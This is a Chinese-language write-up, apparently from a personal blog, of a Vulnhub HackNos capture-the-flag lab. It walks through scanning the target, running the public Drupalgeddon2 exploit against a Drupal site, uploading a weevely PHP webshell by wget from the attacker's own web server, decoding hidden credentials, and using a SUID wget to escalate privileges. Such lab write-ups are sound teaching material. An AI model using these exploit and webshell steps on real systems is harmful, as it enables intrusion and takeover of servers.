Vulnhub-HackNos-Writeup

个人博客地址

http://www.darkerbox.com

欢迎大家学习交流

靶机网址：

https://drive.google.com/open?id=1IOpXibf-A9iSwoG4IW8HdXFvDBFoy7N1

靶机知识点：

• nmap
• weevely
• passwd
• openssl
• wget
• python

靶机ip：192.168.34.152
kali：192.168.34.80

信息收集

nmap -sV -p 0-65535 192.168.34.152

看见这两个就知道是web了

dirb http://192.168.34.152

扫个目录看看

东西还不少，我看了一下，drupal框架。

whatweb 192.168.34.152/drupal

漏洞利用

百度了一下drupal 7的漏洞
下载个工具

git clone https://github.com/dreadlocked/Drupalgeddon2.git

进入目录，直接运行。

./drupalgeddon2.rb http://192.168.34.152/drupal

想写个小马，发现不能写。

使用weevely生成个小马

weevely generate cmd ./xiaoma.php

使用python搭建简易服务器，然后通过wget下载。

连接小马

weevely http://192.168.34.152/drupal/xiaoma.php cmd

权限提升

在/var/www/html下发现了一个文件

base64编码

echo KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA== | base64 -d

解码后是brainfuck，再次解码
https://www.splitbrain.org/services/ook

得到账号密码，ssh登录不上，python也反弹不tty。

看看有没有什么权限

audit_suidsgid -only-suid /

有wget。准备覆写靶机的/etc/passwd文件

使用msf，反弹

打开msfconsole。

python3 -c 'import pty;pty.spawn("/bin/bash")'

欢迎大家一起学习交流，共同进步，欢迎加入信息安全小白群